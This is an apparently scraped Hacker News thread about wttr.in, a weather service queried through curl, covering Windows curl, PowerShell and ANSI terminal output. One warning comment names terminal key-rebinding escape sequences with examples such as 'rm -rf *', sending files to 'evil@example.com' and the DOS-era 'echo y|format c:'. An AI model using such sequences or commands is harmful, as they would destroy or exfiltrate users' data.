I also like how you can add zipcodes or location names as a path and it returns that. At least it works with zipcodes, cities, airport codes, landmarks. Not sure what else.
Using this, I found out it was currently raining in Paris. And then saw that the thunder was rendered as emojis.
I wonder what other options there are... for example, I'm in the US, so it returns temperature in Fahrenheit even if I requested information about France. Are there options to change this?
But, all in all, this is really nice and polished.
A good opportunity to remind everyone that we finally inboxed curl into Windows 10, so this works (with color output) from a stock Windows command prompt.
No, it's priced into most computers. Retail costs over $100 last I checked (and more for pro), though OEMs pay cheaper prices for that sort of volume. There are also sketchy keys available for ~$20.
Sort of? You can install without a key, and other than a little 'watermark' in the corner of the screen (and being prevented from changing the wallpaper) it will get updates and work normally.
For the life of me I cannot understand why would anyone waste their money on such keys. Usually those are volume licenses being sold separately, which is not legal and does not provide you with a valid license. If one is intent on breaking the law anyway, one can save those two bucks and use of the many safe activation methods which do not require installing anything on your machine.
I’m an open source advocate, but still appreciate that Windows is the most used PC operating system on the planet. The fact that you can use the tool ITA as it’s presented on stock Windows (when this is a recently added feature) is relevant info that’s useful to readers and I highly doubt parent intended it in any way to be an ad.
Not to put words in his mouth, but he’s probably just proud to have some influence on making Windows users’ lives a little easier and it would be an odd thing for him to expect people familiar with curl to suddenly become Windows partisans just because they’re now prepacking it (or generally for any Microsoft engineer to have much personal interest in convincing end users to adopt Windows personally).
This is supremely relevant though. The docs basically say "It's supposed to work like X, but for Windows you need to do ABCEDFGHIJ". OC is just "Actually, X works on windows now."
This comment is rude, inaccurate, and not in line with the rules of HN.
Aw, come on. It was interesting and obviously well intentioned. Please don't be an asshole on HN; disincentivizing people from sharing things they've worked on is strictly negative for this site.
Glad to hear that, though I wasn't aware color output now works on windows command. I was under the impression the ansi.sys driver or similar was still necessary for color support.
My team shipped the next generation (after ANSI.SYS) of VT support with the first release of Windows 10 back in 2015. We keep adding things to it, trying to make sure we stay compatible with Xterm. It really is a different landscape now :)
The console subsystem is open-source at https://github.com/microsoft/terminal. Feel free to file bugs, complain, or what have you. That’s what we’re here for!
Unfortunately, we’ve got a couple dependencies on platform features that first shipped in 1903. Whether we can divest ourselves of those dependencies has been the topic of significant discussion recently! No promises, but we’ll do what we can.
I honestly can't tell if this is sarcastic or not. I've been typing `curl -O http: ...` into command prompts for decades, and that Powershell incantation looks awfully unwieldy.
Any good resources for using Powershell? Is there ever a reason not to use powershell? Coming from OSX it doesn't really make sense to me that there are two terminals installed by default, and I end up just using WSL ubuntu. Also I don't really know the commands so it feels crippled to me (no ssh (still? idk), not many tools, etc)
Its maybe a problem when ultimate performance is in question, but you can go long way with Powershell - I recently had a web service SOAP client implemented in it that did millions of requests in an hour using threads in less then 50 lines of code consuming less then 3% of server resources (running entire country in single day actually)
> I end up just using WSL ubuntu
You can have basiclly anthing working without WSL (except maybe docker correctly).
> Also I don't really know the commands so it feels crippled to me (no ssh (still? idk),
Like others have said, you would never type that long thing in Powershell, just `irm wttr.in` (even shorter then curl).
People for some reason always show long stuff that is only used when you write scripts to share with others and not interactivelly - you could do the same with curl if you use --long-parameter-names but somehow people are biased when talking about posh like aliases and other things do not exist.
It's case insensitive and there are short aliases for commands. I live in Linux, but used it way back when. It's an object oriented shell that is kind of awesome and intuitive. Bash is great and you can get shit done, but i don't think it's as user friendly as powershell.
Honestly PS feels like yet another cryptic language with irregular/nih naming of functions and arguments (like AHK which is great, but invented its own megacryptic irrational language instead of taking something generic, and now you have to google every damn thing). If I programmed for PS, then okay, but seriously, Invoke-Rest-?Method, -Uri/Url, .content — how much semantics do you learn until you give up? I’d better
http.get(url="...").body
in my console rather than this Invoke-WhatEver thing, because at least it seems programming language-y and names are consistent with all other web software.
Ed: strictly speaking, URI is not even a thing that you pass to a web request. I bet that IRM couldn’t fetch urn:isbn:0451450523.
> my console rather than this Invoke-WhatEver thing, because at least it seems programming language-y and names are consistent with all other web software.
Because that seems programming language-y and names are consistent with all other web software.
>Curl can't do whatever this is either?
Right. This is a valid URI, which Invoke-RestMethod uses as a parameter name (-Uri) and which is a unique id for a resource and not its location (it could be, but not in this particular case). They should not have call that argument “URI”, if what they actually do is fetching from a URL.
Terminal colors can be controlled using ANSI color codes. Since curl just outputs everything it receives directly to the tty, if the server response contains ANSI, your terminal will render it.
Welcome to my alias list. This provides better weather information than local news websites who have dedicated pages. That said, I'm in a developing country where it's just monsoon all the damm time :D
It's really nice but I started to use this a year ago and had to stop because they always ran out of resources. Hopefully this is fixed since it's such a nice and easy service!
heh... visited that link and tried it; then I remembered that I sit behind a proxy. Guess what happens when a proxy first caches the entire responwe of that page and then sends it to the client all at once? :D
Owner here. It's running on Heroku free tier and it handles hundreds of millions of requests every day. Cloudflare helps, but occasionally it still gets overloaded.
The code is at https://github.com/mpolden/echoip though, with a Docker image available on Docker Hub. It should be pretty easy to host your own.
I do the same! Only catch is, doesn't always work if you're on a restrictive network that only allows udp/53 to a specific DNS (captive portals, corpnets etc). I use a small shell script that tries the DNS trick first, then falls back on HTTP if that times out.
Nice. I like the curl thing because I can hop any any server and not have to worry if I setup an alias or not....I got a lot of servers I am constantly on.
No, because they are not implemented as a part of wego;
wego is used just for visualization of one of the views (v1).
The rest is implemented outside of it
This scared me the first time I tried it because the output was perfectly sized to my terminal. I couldn't fathom how it was possible for the server to know my terminal width.
It turns out my terminal was set at 125 characters wide and wttr.in outputs a 125 character width display.
Curious - wouldn't it be possible to output terminal escape characters to perform some "magic" like moving at the end of the line? Or does curl protect users by not outputting them? (I think not, because fetching a binary file by mistake sometimes garbles the output)
It is possible, but it brings nothing, because you don't only need to move to the end of the line but print something in between, and for that the server mush know the width of your terminal
I will take this opportunity to offer some caution:
From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
As the other poster mentioned, I'm not aware of any terminal that allows these sequences these days.
This wasn't an uncommon thing back in the 90s with DOS ANSI art. I'm not sure if the original ANSI.SYS included with DOS 5/6 but there was a period of time where people remapped things like "echo y|format c:" using ANSI that only required one to "type somefile.ans/txt". The "fix" was to use an accelerated ANSI driver that dropped key-remapping.
It was the case indeed (many many years ago),
we discussed at the anuualy curl hackers conference in Nuremberg back in 2017, but the only terminals that we managed to find with the support of this were not younger than 2001.
Anyway, one can write a small filter, to cut any suspicious sequences from the output off, and add some wrapper like that to your bashrc:
I see you are using regular formatting for code/shell commands on your comments. Not that that's a problem but just a note you can use one of HN's comments formatting tips[0] for this.
Text after a blank line that is indented by two or more spaces is reproduced verbatim. (This is intended for code.)
I actually stick to regular formatting on HN because of how terribly code formatting on HN renders on a phone. It doesn't wrap around when you format it as code and I have to scroll horizontally since the width is fixed. But it's probably OK for something like this code snippet.
Would be nice to have Sixel/iTerm output, but almost 40 years after most computers could do split text/graphics modes, nobody uses these and we're looking at ASCII graphics instead... Might want to look at using ℃ and Emoji though for people with modern terminals.
Looks like lightning breaks the formatting a little, at least for me. Otherwise, very cool. Guessing lighting is a unicode char & not being counted "correctly", which I believe is a challenging thing
Very cool, if i could suggest improvements it would be another view that shows some sort of line graph of temperature and rain and sunshine hours. Also thanks for the T option - useful if your terminal has a white background( like Apple's default).
This is one of those services that I love when I find them, use extensively for the next 30 minutes and forget about. But I keep coming back to it!
I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name
w () {
curl -s "wttr.in/$1?M1q" | head -17
}
and then I can just do
w london
to get the weather for London today.
But, like most of the functions/aliases I create, I can't remember the last time I used it (except couple of times when I see someone talking about it and I remember about it)
I love when you can post something simple like a function/alias and learn so many new things. Never seen IFS before. Updated locally and works perfectly!
Returns public IP address, ISO country code, User-Agent string, and a new line (to ensure the terminal prompt doesn't get shifted after displaying the response).[0][1]
127 comments
[ 4.8 ms ] story [ 162 ms ] threadUsing this, I found out it was currently raining in Paris. And then saw that the thunder was rendered as emojis.
I wonder what other options there are... for example, I'm in the US, so it returns temperature in Fahrenheit even if I requested information about France. Are there options to change this?
But, all in all, this is really nice and polished.
I usually call it with a few of them to make the output cleaner, and without colors[2].
curl --compressed https://wttr.in/"$location"?QTAF
Where `$location` is either the location you want the weather for, or an IP address.
[1] https://wttr.in/:help
[2] https://git.sr.ht/~jamesponddotco/dotfiles/tree/master/.loca...
Better late than never, I hope.
It's like if they commented on the Mac OS X announcements saying "Look, Windows can count to 10 too!"
Off topic, against the rules, flag it.
Not to put words in his mouth, but he’s probably just proud to have some influence on making Windows users’ lives a little easier and it would be an odd thing for him to expect people familiar with curl to suddenly become Windows partisans just because they’re now prepacking it (or generally for any Microsoft engineer to have much personal interest in convincing end users to adopt Windows personally).
This comment is rude, inaccurate, and not in line with the rules of HN.
https://news.ycombinator.com/newsguidelines.html
The console subsystem is open-source at https://github.com/microsoft/terminal. Feel free to file bugs, complain, or what have you. That’s what we’re here for!
To quote GP, “better late than never, I hope”.
I honestly can't tell if this is sarcastic or not. I've been typing `curl -O http: ...` into command prompts for decades, and that Powershell incantation looks awfully unwieldy.
In what way is it the happy path?
Invoke-WebRequest is just iwr
No, you should always use it.
Its maybe a problem when ultimate performance is in question, but you can go long way with Powershell - I recently had a web service SOAP client implemented in it that did millions of requests in an hour using threads in less then 50 lines of code consuming less then 3% of server resources (running entire country in single day actually)
> I end up just using WSL ubuntu
You can have basiclly anthing working without WSL (except maybe docker correctly).
> Also I don't really know the commands so it feels crippled to me (no ssh (still? idk),
SSH is there. Learn commands along the way. You should def take a book like this one: https://www.manning.com/books/learn-windows-powershell-in-a-...
> not many tools,
All usual tools, linux and windows, can be used. You have majority of them hosted on chocolatey.
People for some reason always show long stuff that is only used when you write scripts to share with others and not interactivelly - you could do the same with curl if you use --long-parameter-names but somehow people are biased when talking about posh like aliases and other things do not exist.
Why does every parameter have to have consist of a camelcased sentence? I'm a good typist, but I don't think what you wrote is better than
But that might just be (my) programming.Ed: strictly speaking, URI is not even a thing that you pass to a web request. I bet that IRM couldn’t fetch urn:isbn:0451450523.
Because curl is consistent?
> urn:isbn:0451450523
Curl can't do whatever this is either?
>Curl can't do whatever this is either?
Right. This is a valid URI, which Invoke-RestMethod uses as a parameter name (-Uri) and which is a unique id for a resource and not its location (it could be, but not in this particular case). They should not have call that argument “URI”, if what they actually do is fetching from a URL.
EDIT: I see now that lzybkr already suggested using the even shorter alias `irm` for `Invoke-RestMethod`. Nice!
https://github.com/majkinetor/posh/blob/master/MM_Sugar/Get-...
As someone who is still relatively new to tech, how did you make this?
You even somehow turned my black terminal screen to dark blue, even after I stopped the curl process!
curl ga.wttr.in/limerick
I use Termux[0] on my phone with curl installed. Pretty handy.
Also, check out rate.sx[1] from the same author:
Shows information about current exchange rates of cryptocoins.More similar console services: https://github.com/chubin/awesome-console-services
[0]: https://termux.com/
[1]: https://github.com/chubin/rate.sx
curl ifconfig.co (shows your public ip)
Not sure if it's temporary down or fully off.
The code is at https://github.com/mpolden/echoip though, with a Docker image available on Docker Hub. It should be pretty easy to host your own.
Now it has a lot of additional features:
* one-line output for status lines
* astronomical information
* translation to 70+ languages
* geolocation
* full fledged multilingual location search
* HTML frontend
* PNG frontend
* Slack support
* scalable architecture (it handles 10M+ queries daily for the moment of writing, with avg processing time under 30 msec)
It took one weak for the initial wego-as-a-service wrapper implementation, and more than 4 years (and 99 contributors) for the rest.
But we of course honor wego, and mention it in the README, and on each HTML page in browser
Reading the readme for chubin/wttr.in also clarifies what "wego" is:
> wttr.in uses wego for visualization and various data sources for weather forecast information.
"wego" in that sentence is also linked to schachmat/wego so seems to confirm is that one.
It turns out my terminal was set at 125 characters wide and wttr.in outputs a 125 character width display.
From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
oh my god. From http://www.termsys.demon.co.uk/vtansi.htm :
> Set Key Definition <ESC>[{key};"{string}"p
> Associates a string of text to a keyboard key. {key} indicates the key by its ASCII value in decimal.
But I can't reproduce it; in my terminal (gnome-terminal), `print('\x1b[97;"echo foo"p')` just shows `cho foo"p`.
So it looks like not all terminals implement it, if any?
This wasn't an uncommon thing back in the 90s with DOS ANSI art. I'm not sure if the original ANSI.SYS included with DOS 5/6 but there was a period of time where people remapped things like "echo y|format c:" using ANSI that only required one to "type somefile.ans/txt". The "fix" was to use an accelerated ANSI driver that dropped key-remapping.
Anyway, one can write a small filter, to cut any suspicious sequences from the output off, and add some wrapper like that to your bashrc:
curl() { [ -t 1 ] && curl "$@" | sanitize || curl "$@"; }
Text after a blank line that is indented by two or more spaces is reproduced verbatim. (This is intended for code.)
[0]: https://news.ycombinator.com/formatdoc
curl rate.sx
curl qrenco.de
and the rest from https://github.com/chubin/awesome-console-services
and for the white background:
curl wttr.in/?I
alias godstatus='curl wttr.in'
I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name
and then I can just do to get the weather for London today.But, like most of the functions/aliases I create, I can't remember the last time I used it (except couple of times when I see someone talking about it and I remember about it)
EDIT: I just realised that "they" is actually you!
w() { ( IFS=+; curl wttr.in/"$*";); }
Easy way to find the public IP :)
Returns public IP address, ISO country code, User-Agent string, and a new line (to ensure the terminal prompt doesn't get shifted after displaying the response).[0][1]
- [0] https://use.ipaddy.net - [1] https://github.com/oedmarap/ipaddy
finger city@graph.no
also includes forecasts (try city+24).